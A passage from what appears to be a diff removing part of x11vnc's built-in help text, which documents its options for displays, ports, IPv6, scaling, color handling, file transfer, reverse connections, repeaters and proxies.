-" ssh -t -L 5900:localhost:5900 far-host 'x11vnc -localhost -display :0'\n"
-"\n"
-" vncviewer -encodings 'copyrect tight zrle hextile' localhost:0\n"
-"\n"
-"Also, use of a VNC password (-rfbauth or -passwdfile) is strongly recommended.\n"
-"\n"
-"For additional info see: http://www.karlrunge.com/x11vnc/\n"
-" and http://www.karlrunge.com/x11vnc/faq.html\n"
-"\n"
-"\n"
-"Config file support: if the file $HOME/.x11vncrc exists then each line in\n"
-"it is treated as a single command line option. Disable with -norc. For\n"
-"each option name, the leading character \"-\" is not required. E.g. a line\n"
-"that is either \"forever\" or \"-forever\" may be used and are equivalent.\n"
-"Likewise \"wait 100\" or \"-wait 100\" are acceptable and equivalent lines.\n"
-"The \"#\" character comments out to the end of the line in the usual way\n"
-"(backslash it for a literal). Leading and trailing whitespace is trimmed off.\n"
-"Lines may be continued with a \"\\\" as the last character of a line (it\n"
-"becomes a space character).\n"
-"\n"
-"Options:\n"
-"\n"
-"-display disp X11 server display to connect to, usually :0. The X\n"
-" server process must be running on same machine and\n"
-" support MIT-SHM. Equivalent to setting the DISPLAY\n"
-" environment variable to \"disp\".\n"
-"\n"
-" See the description below of the \"-display WAIT:...\"\n"
-" extensions, where alias \"-find\" will find the user's\n"
-" display automatically, and \"-create\" will create a\n"
-" Xvfb session if no session is found.\n"
-"\n"
-"-auth file Set the X authority file to be \"file\", equivalent to\n"
-" setting the XAUTHORITY environment variable to \"file\"\n"
-" before startup. Same as -xauth file. See Xsecurity(7),\n"
-" xauth(1) man pages for more info.\n"
-"\n"
-" Use '-auth guess' to have x11vnc use its -findauth\n"
-" mechanism (described below) to try to guess the\n"
-" XAUTHORITY filename and use it.\n"
-"\n"
-" XDM/GDM/KDM: if you are running x11vnc as root and want\n"
-" to find the XAUTHORITY before anyone has logged into an\n"
-" X session yet, use: x11vnc -env FD_XDM=1 -auth guess ...\n"
-" (This will also find the XAUTHORITY if a user is already\n"
-" logged into the X session.) When running as root,\n"
-" FD_XDM=1 will be tried if the initial -auth guess fails.\n"
-"\n"
-"-N If the X display is :N, try to set the VNC display to\n"
-" also be :N This just sets the -rfbport option to 5900+N\n"
-" The program will exit immediately if that port is not\n"
-" available. The -N option only works with normal -display\n"
-" usage, e.g. :0 or :8, -N is ignored in the -display\n"
-" WAIT:..., -create, -find, -svc, -redirect, etc modes.\n"
-"\n"
-"-autoport n Automatically probe for a free VNC port starting at n.\n"
-" The default is to start probing at 5900. Use this to\n"
-" stay away from other VNC servers near 5900.\n"
-"\n"
-"-rfbport str The VNC port to listen on (a LibVNCServer option), e.g.\n"
-" 5900, 5901, etc. If specified as \"-rfbport PROMPT\"\n"
-" then the x11vnc -gui is used to prompt the user to\n"
-" enter the port number.\n"
-"\n"
-#if X11VNC_IPV6
-"-6 IPv6 listening support. In addition to IPv4, the\n"
-" IPv6 address is listened on for incoming connections.\n"
-" The same port number as IPv4 is used.\n"
-"\n"
-#if X11VNC_LISTEN6
-" NOTE: This x11vnc binary was compiled to have the\n"
-" \"-6\" IPv6 listening mode ENABLED by default (CPPFLAGS\n"
-" -DX11VNC_LISTEN6=1). So to disable IPv6 listening mode\n"
-" you MUST supply the \"-no6\" option (see below.)\n"
-#else
-" NOTE: This x11vnc binary was compiled to have\n"
-" the \"-6\" IPv6 listening mode DISABLED by default\n"
-" (CPPFLAGS -DX11VNC_LISTEN6=0).\n"
-#endif
-"\n"
-" The \"-6\" mode works for both normal connections and\n"
-" -ssl encrypted ones. Nearly everything is supported\n"
-" for the IPv6 case, but there are a few exceptions.\n"
-" See -stunnel for its IPv6 support.\n"
-"\n"
-" Currently, for absolutely everything to work correctly\n"
-" the machine may need to have some IPv4 support, at the\n"
-" least for the loopback interface. However, for nearly\n"
-" all usage modes no IPv4 support is required. See -nopiv4.\n"
-"\n"
-" If you have trouble compiling or running in IPv6 mode,\n"
-" set -DX11VNC_IPV6=0 in CPPFLAGS when configuring to\n"
-" disable IPv6 support.\n"
-"\n"
-"-no6 Disable IPv6 listening support (only useful if the\n"
-" \"-6\" mode is compiled in to be the default; see the\n"
-" X11VNC_LISTEN6 description above under \"-6\".)\n"
-"\n"
-"-noipv6 Do not try to use IPv6 for any listening or connecting\n"
-" sockets. This includes both the listening service\n"
-" port(s) and outgoing connections from -connect,\n"
-" -connect_or_exit, or -proxy. Use this if you are having\n"
-" problems due to IPv6.\n"
-"\n"
-"-noipv4 Do not try to use IPv4 for any listening or connecting\n"
-" sockets. This is mainly for exploring the behavior of\n"
-" x11vnc on an IPv6-only system, but may have other uses.\n"
-"\n"
-#endif
-"-reopen If the X server connection is disconnected, try to\n"
-" reopen the X display (up to one time.) This is of use\n"
-" for display managers like GDM (KillInitClients option)\n"
-" that kill x11vnc just after the user logs into the\n"
-" X session. Note: the reopened state may be unstable.\n"
-" Set X11VNC_REOPEN_DISPLAY=n to reopen n times and\n"
-" set X11VNC_REOPEN_SLEEP_MAX to the number of seconds,\n"
-" default 10, to keep trying to reopen the display (once\n"
-" per second.)\n"
-"\n"
-" Update: as of 0.9.9, x11vnc tries to automatically avoid\n"
-" being killed by the display manager by delaying creating\n"
-" windows or using XFIXES. So you shouldn't need to use\n"
-" KillInitClients=false as long as you log in quickly\n"
-" enough (within 45 seconds of connecting.) You can\n"
-" disable this by setting X11VNC_AVOID_WINDOWS=never.\n"
-" You can also set it to the number of seconds to delay.\n"
-"\n"
-"-reflect host:N Instead of connecting to and polling an X display,\n"
-" connect to the remote VNC server host:N and be a\n"
-" reflector/repeater for it. This is useful for trying\n"
-" to manage the case of many simultaneous VNC viewers\n"
-" (e.g. classroom broadcasting) where, e.g. you put\n"
-" a repeater on each network switch, etc, to improve\n"
-" performance by distributing the load and network\n"
-" traffic. Implies -shared (use -noshared as a later\n"
-" option to disable). See the discussion below under\n"
-" -rawfb vnc:host:N for more details.\n"
-"\n"
-"-id windowid Show the X window corresponding to \"windowid\" not\n"
-" the entire display. New windows like popup menus,\n"
-" transient toplevels, etc, may not be seen or may be\n"
-" clipped. Disabling SaveUnders or BackingStore in the\n"
-" X server may help show them. x11vnc may crash if the\n"
-" window is initially partially obscured, changes size,\n"
-" is iconified, etc. Some steps are taken to avoid this\n"
-" and the -xrandr mechanism is used to track resizes. Use\n"
-" xwininfo(1) to get the window id, or use \"-id pick\"\n"
-" to have x11vnc run xwininfo(1) for you and extract\n"
-" the id. The -id option is useful for exporting very\n"
-" simple applications (e.g. the current view on a webcam).\n"
-"-sid windowid As -id, but instead of using the window directly it\n"
-" shifts a root view to it: this shows SaveUnders menus,\n"
-" etc, although they will be clipped if they extend beyond\n"
-" the window.\n"
-"\n"
-"-appshare Simple application sharing based on the -id/-sid\n"
-" mechanism. Every new toplevel window that the\n"
-" application creates induces a new viewer window via\n"
-" a reverse connection. The -id/-sid and -connect\n"
-" options are required. Run 'x11vnc -appshare -help'\n"
-" for more info.\n"
-"\n"
-#if 0
-"-freeze_when_obscured Probably only of use in -appshare mode: if the -id/-sid\n"
-" window is partially or fully obscured by other windows,\n"
-" stop checking for framebuffer updates. Mouse and\n"
-" keyboard events are still processed and injected.\n"
-"\n"
-#endif
-"-clip WxH+X+Y Only show the sub-region of the full display that\n"
-" corresponds to the rectangle geometry with size WxH and\n"
-" offset +X+Y. The VNC display has size WxH (i.e. smaller\n"
-" than the full display). This also works for -id/-sid\n"
-" mode where the offset is relative to the upper left\n"
-" corner of the selected window. An example use of this\n"
-" option would be to split a large (e.g. Xinerama) display\n"
-" into two parts to be accessed via separate viewers by\n"
-" running a separate x11vnc on each part.\n"
-"\n"
-" Use '-clip xinerama0' to clip to the first xinerama\n"
-" sub-screen (if xinerama is active). xinerama1 for the\n"
-" 2nd sub-screen, etc. This way you don't need to figure\n"
-" out the WxH+X+Y of the desired xinerama sub-screen.\n"
-" screens are sorted in increasing distance from the\n"
-" (0,0) origin (I.e. not the Xserver's order).\n"
-"\n"
-"-flashcmap In 8bpp indexed color, let the installed colormap flash\n"
-" as the pointer moves from window to window (slow).\n"
-" Also try the -8to24 option to avoid flash altogether.\n"
-"-shiftcmap n Rare problem, but some 8bpp displays use less than 256\n"
-" colorcells (e.g. 16-color grayscale, perhaps the other\n"
-" bits are used for double buffering) *and* also need to\n"
-" shift the pixels values away from 0, .., ncells. \"n\"\n"
-" indicates the shift to be applied to the pixel values.\n"
-" To see the pixel values set DEBUG_CMAP=1 to print out\n"
-" a colormap histogram. Example: -shiftcmap 240\n"
-"-notruecolor For 8bpp displays, force indexed color (i.e. a colormap)\n"
-" even if it looks like 8bpp TrueColor (rare problem).\n"
-"-advertise_truecolor If the X11 display is indexed color, lie to clients\n"
-" when they first connect by telling them it is truecolor.\n"
-" To workaround RealVNC: inPF has colourMap but not 8bpp\n"
-" Use '-advertise_truecolor reset' to reset client fb too.\n"
-"\n"
-"-visual n This option probably does not do what you think.\n"
-" It simply *forces* the visual used for the framebuffer;\n"
-" this may be a bad thing... (e.g. messes up colors or\n"
-" cause a crash). It is useful for testing and for some\n"
-" workarounds. n may be a decimal number, or 0x hex.\n"
-" Run xdpyinfo(1) for the values. One may also use\n"
-" \"TrueColor\", etc. see <X11/X.h> for a list. If the\n"
-" string ends in \":m\" then for better or for worse\n"
-" the visual depth is forced to be m. You may want to\n"
-" use -noshm when using this option (so XGetImage may\n"
-" automatically translate the pixel data).\n"
-"\n"
-"-overlay Handle multiple depth visuals on one screen, e.g. 8+24\n"
-" and 24+8 overlay visuals (the 32 bits per pixel are\n"
-" packed with 8 for PseudoColor and 24 for TrueColor).\n"
-"\n"
-" Currently -overlay only works on Solaris via\n"
-" XReadScreen(3X11) and IRIX using XReadDisplay(3).\n"
-" On Solaris there is a problem with image \"bleeding\"\n"
-" around transient popup menus (but not for the menu\n"
-" itself): a workaround is to disable SaveUnders\n"
-" by passing the \"-su\" argument to Xsun (in\n"
-" /etc/dt/config/Xservers).\n"
-"\n"
-" Use -overlay as a workaround for situations like these:\n"
-" Some legacy applications require the default visual to\n"
-" be 8bpp (8+24), or they will use 8bpp PseudoColor even\n"
-" when the default visual is depth 24 TrueColor (24+8).\n"
-" In these cases colors in some windows will be incorrect\n"
-" in x11vnc unless -overlay is used. Another use of\n"
-" -overlay is to enable showing the exact mouse cursor\n"
-" shape (details below).\n"
-"\n"
-" Under -overlay, performance will be somewhat slower\n"
-" due to the extra image transformations required.\n"
-" For optimal performance do not use -overlay, but rather\n"
-" configure the X server so that the default visual is\n"
-" depth 24 TrueColor and try to have all apps use that\n"
-" visual (e.g. some apps have -use24 or -visual options).\n"
-"-overlay_nocursor Sets -overlay, but does not try to draw the exact mouse\n"
-" cursor shape using the overlay mechanism.\n"
-"\n"
-"-8to24 [opts] Try this option if -overlay is not supported on your\n"
-" OS, and you have a legacy 8bpp app that you want to\n"
-" view on a multi-depth display with default depth 24\n"
-" (and is 32 bpp) OR have a default depth 8 display with\n"
-" depth 24 overlay windows for some apps. This option\n"
-" may not work on all X servers and hardware (tested\n"
-" on XFree86/Xorg mga driver and Xsun). The \"opts\"\n"
-" string is not required and is described below.\n"
-"\n"
-" This mode enables a hack where x11vnc monitors windows\n"
-" within 3 levels from the root window. If it finds\n"
-" any that are 8bpp it extracts the indexed color\n"
-" pixel values using XGetImage() and then applies a\n"
-" transformation using the colormap(s) to create TrueColor\n"
-" RGB values that it in turn inserts into bits 1-24 of\n"
-" the framebuffer. This creates a depth 24 \"view\"\n"
-" of the display that is then exported via VNC.\n"
-"\n"
-" Conversely, for default depth 8 displays, the depth\n"
-" 24 regions are read by XGetImage() and everything is\n"
-" transformed and inserted into a depth 24 TrueColor\n"
-" framebuffer.\n"
-"\n"
-" Note that even if there are *no* depth 24 visuals or\n"
-" windows (i.e. pure 8bpp), this mode is potentially\n"
-" an improvement over -flashcmap because it avoids the\n"
-" flashing and shows each window in the correct color.\n"
-"\n"
-" This method works OK, but may still have bugs and it\n"
-" does hog resources. If there are multiple 8bpp windows\n"
-" using different colormaps, one may have to iconify all\n"
-" but one for the colors to be correct.\n"
-"\n"
-" There may be painting errors for clipping and switching\n"
-" between windows of depths 8 and 24. Heuristics are\n"
-" applied to try to minimize the painting errors. One can\n"
-" also press 3 Alt_L's in a row to refresh the screen\n"
-" if the error does not repair itself. Also the option\n"
-" -fixscreen 8=3.0 or -fixscreen V=3.0 may be used to\n"
-" periodically refresh the screen at the cost of bandwidth\n"
-" (every 3 sec for this example).\n"
-"\n"
-" The [opts] string can contain the following settings.\n"
-" Multiple settings are separated by commas.\n"
-"\n"
-" For for some X servers with default depth 24 a\n"
-" speedup may be achieved via the option \"nogetimage\".\n"
-" This enables a scheme were XGetImage() is not used\n"
-" to retrieve the 8bpp data. Instead, it assumes that\n"
-" the 8bpp data is in bits 25-32 of the 32bit X pixels.\n"
-" There is no requirement that the X server should put\n"
-" the data there for our poll requests, but some do and\n"
-" so the extra steps to retrieve it can be skipped.\n"
-" Tested with mga driver with XFree86/Xorg. For the\n"
-" default depth 8 case this option is ignored.\n"
-"\n"
-" To adjust how often XGetImage() is used to poll the\n"
-" non-default visual regions for changes, use the option\n"
-" \"poll=t\" where \"t\" is a floating point time.\n"
-" (default: %.2f)\n"
-"\n"
-" Setting the option \"level2\" will limit the search\n"
-" for non-default visual windows to two levels from the\n"
-" root window. Do this on slow machines where you know\n"
-" the window manager only imposes one extra window between\n"
-" the app window and the root window.\n"
-"\n"
-" Also for very slow machines use \"cachewin=t\"\n"
-" where t is a floating point amount of time to cache\n"
-" XGetWindowAttributes results. E.g. cachewin=5.0.\n"
-" This may lead to the windows being unnoticed for this\n"
-" amount of time when deiconifying, painting errors, etc.\n"
-"\n"
-" While testing on a very old SS20 these options gave\n"
-" tolerable response: -8to24 poll=0.2,cachewin=5.0. For\n"
-" this machine -overlay is supported and gives better\n"
-" response.\n"
-"\n"
-" Debugging for this mode can be enabled by setting\n"
-" \"dbg=1\", \"dbg=2\", or \"dbg=3\".\n"
-"\n"
-"-24to32 Very rare problem: if the framebuffer (X display\n"
-" or -rawfb) is 24bpp instead of the usual 32bpp, then\n"
-" dynamically transform the pixels to 32bpp. This will be\n"
-" slower, but can be used to work around problems where\n"
-" VNC viewers cannot handle 24bpp (e.g. \"main: setPF:\n"
-" not 8, 16 or 32 bpp?\"). See the FAQ for more info.\n"
-"\n"
-" In the case of -rawfb mode, the pixels are directly\n"
-" modified by inserting a 0 byte to pad them out to 32bpp.\n"
-" For X displays, a kludge is done that is equivalent to\n"
-" \"-noshm -visual TrueColor:32\". (If better performance\n"
-" is needed for the latter, feel free to ask).\n"
-"\n"
-"-scale fraction Scale the framebuffer by factor \"fraction\". Values\n"
-" less than 1 shrink the fb, larger ones expand it. Note:\n"
-" the image may not be sharp and response may be slower.\n"
-" If \"fraction\" contains a decimal point \".\" it\n"
-" is taken as a floating point number, alternatively\n"
-" the notation \"m/n\" may be used to denote fractions\n"
-" exactly, e.g. -scale 2/3\n"
-"\n"
-" To scale asymmetrically in the horizontal and vertical\n"
-" directions, specify a WxH geometry to stretch to:\n"
-" e.g. '-scale 1024x768', or also '-scale 0.9x0.75'\n"
-"\n"
-" Scaling Options: can be added after \"fraction\" via\n"
-" \":\", to supply multiple \":\" options use commas.\n"
-" If you just want a quick, rough scaling without\n"
-" blending, append \":nb\" to \"fraction\" (e.g. -scale\n"
-" 1/3:nb). No blending is the default for 8bpp indexed\n"
-" color, to force blending for this case use \":fb\".\n"
-"\n"
-" To disable -scrollcopyrect and -wirecopyrect under\n"
-" -scale use \":nocr\". If you need to to enable them use\n"
-" \":cr\" or specify them explicitly on the command line.\n"
-" If a slow link is detected, \":nocr\" may be applied\n"
-" automatically. Default: %s\n"
-"\n"
-" More esoteric options: for compatibility with vncviewers\n"
-" the scaled width is adjusted to be a multiple of 4:\n"
-" to disable this use \":n4\". \":in\" use interpolation\n"
-" scheme even when shrinking, \":pad\" pad scaled width\n"
-" and height to be multiples of scaling denominator\n"
-" (e.g. 3 for 2/3).\n"
-"\n"
-"-geometry WxH Same as -scale WxH\n"
-"\n"
-"-scale_cursor frac By default if -scale is supplied the cursor shape is\n"
-" scaled by the same factor. Depending on your usage,\n"
-" you may want to scale the cursor independently of the\n"
-" screen or not at all. If you specify -scale_cursor\n"
-" the cursor will be scaled by that factor. When using\n"
-" -scale mode to keep the cursor at its \"natural\" size\n"
-" use \"-scale_cursor 1\". Most of the \":\" scaling\n"
-" options apply here as well.\n"
-"\n"
-"-viewonly All VNC clients can only watch (default %s).\n"
-"-shared VNC display is shared, i.e. more than one viewer can\n"
-" connect at the same time (default %s).\n"
-"-once Exit after the first successfully connected viewer\n"
-" disconnects, opposite of -forever. This is the Default.\n"
-"-forever Keep listening for more connections rather than exiting\n"
-" as soon as the first client(s) disconnect. Same as -many\n"
-"\n"
-" To get the standard non-shared VNC behavior where when\n"
-" a new VNC client connects the existing VNC client is\n"
-" dropped use: -nevershared -forever This method can\n"
-" also be used to guard against hung TCP connections that\n"
-" do not go away.\n"
-"\n"
-"-loop Create an outer loop restarting the x11vnc process\n"
-" whenever it terminates. -bg and -inetd are ignored\n"
-" in this mode (however see -loopbg below).\n"
-"\n"
-" Useful for continuing even if the X server terminates\n"
-" and restarts (at that moment the process will need\n"
-" permission to reconnect to the new X server of course).\n"
-"\n"
-" Use, e.g., -loop100 to sleep 100 millisecs between\n"
-" restarts, etc. Default is 2000ms (i.e. 2 secs) Use,\n"
-" e.g. -loop300,5 to sleep 300 ms and only loop 5 times.\n"
-"\n"
-" If -loopbg (plus any numbers) is specified instead,\n"
-" the \"-bg\" option is implied and the mode approximates\n"
-" inetd(8) usage to some degree. In this case when\n"
-" it goes into the background any listening sockets\n"
-" (i.e. ports 5900, 5800) are closed, so the next one\n"
-" in the loop can use them. This mode will only be of\n"
-" use if a VNC client (the only client for that process)\n"
-" is already connected before the process goes into the\n"
-" background, for example, usage of -display WAIT:..,\n"
-" -svc, and -connect can make use of this \"poor man's\"\n"
-" inetd mode. The default wait time is 500ms in this\n"
-" mode. This usage could use useful: -svc -bg -loopbg\n"
-"\n"
-"-timeout n Exit unless a client connects within the first n seconds\n"
-" after startup.\n"
-"\n"
-" If there have been no connection attempts after n\n"
-" seconds x11vnc exits immediately. If a client is\n"
-" trying to connect but has not progressed to the normal\n"
-" operating state, x11vnc gives it a few more seconds\n"
-" to finish and exits if it does not make it to the\n"
-" normal state.\n"
-"\n"
-" For reverse connections via -connect or -connect_or_exit\n"
-" a timeout of n seconds will be set for all reverse\n"
-" connects. If the connect timeout alarm goes off,\n"
-" x11vnc will exit immediately.\n"
-"\n"
-"-sleepin n At startup sleep n seconds before proceeding (e.g. to\n"
-" allow redirs and listening clients to start up)\n"
-"\n"
-" If a range is given: '-sleepin min-max', a random value\n"
-" between min and max is slept. E.g. '-sleepin 0-20' and\n"
-" '-sleepin 10-30'. Floats are allowed too.\n"
-"\n"
-"-inetd Launched by inetd(8): stdio instead of listening socket.\n"
-" Note: if you are not redirecting stderr to a log file\n"
-" (via shell 2> or -o option) you MUST also specify the -q\n"
-" option, otherwise the stderr goes to the viewer which\n"
-" will cause it to abort. Specifying both -inetd and -q\n"
-" and no -o will automatically close the stderr.\n"
-"\n"
-"-tightfilexfer Enable the TightVNC file transfer extension. Note that\n"
-" that when the -viewonly option is supplied all file\n"
-" transfers are disabled. Also clients that log in\n"
-" viewonly cannot transfer files. However, if the remote\n"
-" control mechanism is used to change the global or\n"
-" per-client viewonly state the filetransfer permissions\n"
-" will NOT change.\n"
-"\n"
-" IMPORTANT: please understand if -tightfilexfer is\n"
-" specified and you run x11vnc as root for, say, inetd\n"
-" or display manager (gdm, kdm, ...) access and you do\n"
-" not have it switch users via the -users option, then\n"
-" VNC Viewers that connect are able to do filetransfer\n"
-" reads and writes as *root*.\n"
-"\n"
-" Also, tightfilexfer is disabled in -unixpw mode.\n"
-"\n"
-"-ultrafilexfer Note: to enable UltraVNC filetransfer and to get it to\n"
-" work you probably need to supply these LibVNCServer\n"
-" options: \"-rfbversion 3.6 -permitfiletransfer\"\n"
-" \"-ultrafilexfer\" is an alias for this combination.\n"
-"\n"
-" IMPORTANT: please understand if -ultrafilexfer is\n"
-" specified and you run x11vnc as root for, say, inetd\n"
-" or display manager (gdm, kdm, ...) access and you do\n"
-" not have it switch users via the -users option, then\n"
-" VNC Viewers that connect are able to do filetransfer\n"
-" reads and writes as *root*.\n"
-"\n"
-" Note that sadly you cannot do both -tightfilexfer and\n"
-" -ultrafilexfer at the same time because the latter\n"
-" requires setting the version to 3.6 and tightvnc will\n"
-" not do filetransfer when it sees that version number.\n"
-"\n"
-"-http Instead of using -httpdir (see below) to specify\n"
-" where the Java vncviewer applet is, have x11vnc try\n"
-" to *guess* where the directory is by looking relative\n"
-" to the program location and in standard locations\n"
-" (/usr/local/share/x11vnc/classes, etc). Under -ssl or\n"
-" -stunnel the ssl classes subdirectory is sought.\n"
-"-http_ssl As -http, but force lookup for ssl classes subdir.\n"
-"\n"
-" Note that for HTTPS, single-port Java applet delivery\n"
-" you can set X11VNC_HTTPS_DOWNLOAD_WAIT_TIME to the\n"
-" max number of seconds to wait for the applet download\n"
-" to finish. The default is 15.\n"
-"\n"
-"-avahi Use the Avahi/mDNS ZeroConf protocol to advertise\n"
-" this VNC server to the local network. (Related terms:\n"
-" Rendezvous, Bonjour). Depending on your setup, you\n"
-" may need to start avahi-daemon and open udp port 5353\n"
-" in your firewall.\n"
-"\n"
-" You can set X11VNC_AVAHI_NAME, X11VNC_AVAHI_HOST,\n"
-" and/or X11VNC_AVAHI_PORT environment variables\n"
-" to override the default values. For example:\n"
-" -env X11VNC_AVAHI_NAME=wally\n"
-"\n"
-" If the avahi API cannot be found at build time, a helper\n"
-" program like avahi-publish(1) or dns-sd(1) will be tried\n"
-"\n"
-"-mdns Same as -avahi.\n"
-"-zeroconf Same as -avahi.\n"
-"\n"
-"-connect string For use with \"vncviewer -listen\" reverse connections.\n"
-" If \"string\" has the form \"host\" or \"host:port\"\n"
-" the connection is made once at startup.\n"
-"\n"
-" Use commas for a list of host's and host:port's.\n"
-" E.g. -connect host1,host2 or host1:0,host2:5678.\n"
-" Note that to reverse connect to multiple hosts at the\n"
-" same time you will likely need to also supply: -shared\n"
-"\n"
-" Note that unlike most vnc servers, x11vnc will require a\n"
-" password for reverse as well as for forward connections.\n"
-" (provided password auth has been enabled, -rfbauth, etc)\n"
-" If you do not want to require a password for reverse\n"
-" connections set X11VNC_REVERSE_CONNECTION_NO_AUTH=1 in\n"
-" your environment before starting x11vnc.\n"
-"\n"
-" If \"string\" contains \"/\" it is instead interpreted\n"
-" as a file to periodically check for new hosts.\n"
-" The first line is read and then the file is truncated.\n"
-" Be careful about the location of this file if x11vnc\n"
-" is running as root (e.g. via gdm(1), etc).\n"
-"\n"
-"\n"
-" Repeater mode: Some services provide an intermediate\n"
-" \"vnc repeater\": http://www.uvnc.com/addons/repeater.html\n"
-" (and also http://koti.mbnet.fi/jtko/ for linux port)\n"
-" that acts as a proxy/gateway. Modes like these require\n"
-" an initial string to be sent for the reverse connection\n"
-" before the VNC protocol is started. Here are the ways\n"
-" to do this:\n"
-"\n"
-" -connect pre=some_string+host:port\n"
-" -connect pre128=some_string+host:port\n"
-" -connect repeater=ID:1234+host:port\n"
-" -connect repeater=23.45.67.89::5501+host:port\n"
-"\n"
-" SSVNC notation is also supported:\n"
-"\n"
-" -connect repeater://host:port+ID:1234\n"
-"\n"
-" As with normal -connect usage, if the repeater port is\n"
-" not supplied 5500 is assumed.\n"
-"\n"
-" The basic idea is between the special tag, e.g. \"pre=\"\n"
-" and \"+\" is the pre-string to be sent. Note that in\n"
-" this case host:port is the repeater server, NOT the\n"
-" vnc viewer. Somehow the pre-string tells the repeater\n"
-" server how to find the vnc viewer and connect you to it.\n"
-"\n"
-" In the case pre=some_string+host:port, \"some_string\"\n"
-" is simply sent. In the case preNNN=some_string+host:port\n"
-" \"some_string\" is sent in a null padded buffer of\n"
-" length NNN. repeater= is the same as pre250=, this is\n"
-" the ultravnc repeater buffer size.\n"
-"\n"
-" Strings like \"\\n\" and \"\\r\", etc. are expanded to\n"
-" newline and carriage return. \"\\c\" is expanded to\n"
-" \",\" since the connect string is comma separated.\n"
-"\n"
-" See also the -proxy option below for additional ways\n"
-" to plumb reverse connections.\n"
-"\n"
-" Reverse SSL: using -connect in -ssl mode makes x11vnc\n"
-" act as an SSL client (initiates SSL connection) rather\n"
-" than an SSL server. The idea is x11vnc might be\n"
-" connecting to stunnel on the viewer side with the\n"
-" viewer in listening mode. If you do not want this\n"
-" behavior, use -env X11VNC_DISABLE_SSL_CLIENT_MODE=1.\n"
-" With this the viewer side can act as the SSL client\n"
-" as it normally does for forward connections.\n"
-"\n"
-" Reverse SSL Repeater mode: This will work, but note\n"
-" that if the VNC Client does any sort of a 'Fetch Cert'\n"
-" action before connecting, then the Repeater will\n"
-" likely drop the connection and both sides will need\n"
-" to restart. Consider the use of -connect_or_exit\n"
-" and -loop300,2 to have x11vnc reconnect once to the\n"
-" repeater after the fetch. You will probably also want\n"
-" to supply -sslonly to avoid x11vnc thinking the delay\n"
-" in response means the connection is VeNCrypt. The env\n"
-" var X11VNC_DISABLE_SSL_CLIENT_MODE=1 discussed above\n"
-" may also be useful (i.e. the viewer can do a forward\n"
-" connection as it normally does.)\n"
-"\n"
-" IPv6: as of x11vnc 0.9.10 the -connect option should\n"
-" connect to IPv6 hosts properly. If there are problems\n"
-" you can disable IPv6 by setting -DX11VNC_IPV6=0\n"
-" in CPPFLAGS when configuring. If there problems\n"
-" connecting to IPv6 hosts consider a relay like the\n"
-" included inet6to4 script or the -proxy option.\n"
-"\n"
-"-connect_or_exit str As with -connect, except if none of the reverse\n"
-" connections succeed, then x11vnc shuts down immediately\n"
-"\n"
-" An easier to type alias for this option is '-coe'\n"
-"\n"
-" By the way, if you do not want x11vnc to listen on\n"
-" ANY interface use -rfbport 0 which is handy for the\n"
-" -connect_or_exit mode.\n"
-"\n"
-"-proxy string Use proxy in string (e.g. host:port) as a proxy for\n"
-" making reverse connections (-connect or -connect_or_exit\n"
-" options).\n"
-"\n"
-" Web proxies are supported, but note by default most of\n"
-" them only support destination connections to ports 443\n"
-" or 563, so this might not be very useful (the viewer\n"
-" would need to listen on that port or the router would\n"
-" have to do a port redirection).\n"
-"\n"
-" A web proxy may be specified by either \"host:port\"\n"
-" or \"http://host:port\" (the port is required even if\n"
-" it is the common choices 80 or 8080)\n"
-"\n"
-" SOCKS4, SOCKS4a, and SOCKS5 are also supported.\n"
-" SOCKS proxies normally do not have restrictions on the\n"
-" destination port number.\n"
-"\n"
-" Use a format like this: socks://host:port or\n"
-" socks5://host:port. Note that ssh -D does not support\n"
-" SOCKS4a, so use socks5://. For socks:// SOCKS4 is used\n"
-" on a numerical IP and \"localhost\", otherwise SOCKS4a\n"
-" is used (and so the proxy tries to do the DNS lookup).\n"
-"\n"
-" An experimental mode is \"-proxy http://host:port/...\"\n"
-" Note the \"/\" after the port that distinguishes it from\n"
-" a normal web proxy. The port must be supplied even if\n"
-" it is the default 80. For this mode a GET is done to\n"
-" the supplied URL with the string host=H&port=P appended.\n"
-" H and P will be the -connect reverse connect host\n"
-" and port. Use the string \"__END__\" to disable the\n"
-" appending. The basic idea here is that maybe some cgi\n"
-" script provides the actual viewer hookup and tunnelling.\n"
-" How to actually achieve this within cgi, php, etc. is\n"
-" not clear... A custom web server or apache module\n"
-" would be straight-forward.\n"
-"\n"
-" Another experimental mode is \"-proxy ssh://user@host\"\n"
-" in which case a SSH tunnel is used for the proxying.\n"
-" \"user@\" is not needed unless your unix username is\n"
-" different on \"host\". For a non-standard SSH port\n"
-" use ssh://user@host:port. If proxies are chained (see\n"
-" next paragraph) then the ssh one must be the first one.\n"
-" If ssh-agent is not active, then the ssh password needs\n"
-" to be entered in the terminal where x11vnc is running.\n"
-" Examples:\n"
-"\n"
-" -connect localhost:0 -proxy ssh://me@friends-pc:2222\n"
-"\n"
-" -connect snoopy:0 -proxy ssh://ssh.company.com\n"
-"\n"
-" Multiple proxies may be chained together in case one\n"
-" needs to ricochet off of a number of hosts to finally\n"
-" reach the VNC viewer. Up to 3 may be chained, separate\n"
-" them by commas in the order they are to be connected to.\n"
-" E.g.: http://host1:port1,socks5://host2:port2 or three\n"
-" like: first,second,third\n"
-"\n"
-" IPv6: as of x11vnc 0.9.10 the -proxy option should\n"
-" connect to IPv6 hosts properly. If there are problems\n"
-" you can disable IPv6 by setting -DX11VNC_IPV6=0\n"
-" in CPPFLAGS when configuring. If there problems\n"
-" connecting to IPv6 hosts consider a relay like the\n"
-" included inet6to4 script.\n"
-"\n"
-"-vncconnect Monitor the VNC_CONNECT X property set by the standard\n"
-"-novncconnect VNC program vncconnect(1). When the property is\n"
-" set to \"host\" or \"host:port\" establish a reverse\n"
-" connection. Using xprop(1) instead of vncconnect may\n"
-" work (see the FAQ). The -remote control mechanism uses\n"
-" X11VNC_REMOTE channel, and this option disables/enables\n"
-" it as well. Default: %s\n"
-"\n"
-" To use different names for these X11 properties (e.g. to\n"
-" have separate communication channels for multiple\n"
-" x11vnc's on the same display) set the VNC_CONNECT or\n"
-" X11VNC_REMOTE env. vars. to the string you want, for\n"
-" example: -env X11VNC_REMOTE=X11VNC_REMOTE_12345\n"
-" Both sides of the channel must use the same unique name.\n"
-" The same can be done for the internal X11VNC_TICKER\n"
-" property (heartbeat and timestamp) if desired.\n"
-"\n"
-"-allow host1[,host2..] Only allow client connections from hosts matching\n"
-" the comma separated list of hostnames or IP addresses.\n"
-" Can also be a numerical IP prefix, e.g. \"192.168.100.\"\n"
-" to match a simple subnet, for more control build\n"
-" LibVNCServer with libwrap support (See the FAQ). If the\n"
-" list contains a \"/\" it instead is a interpreted\n"
-" as a file containing addresses or prefixes that is\n"
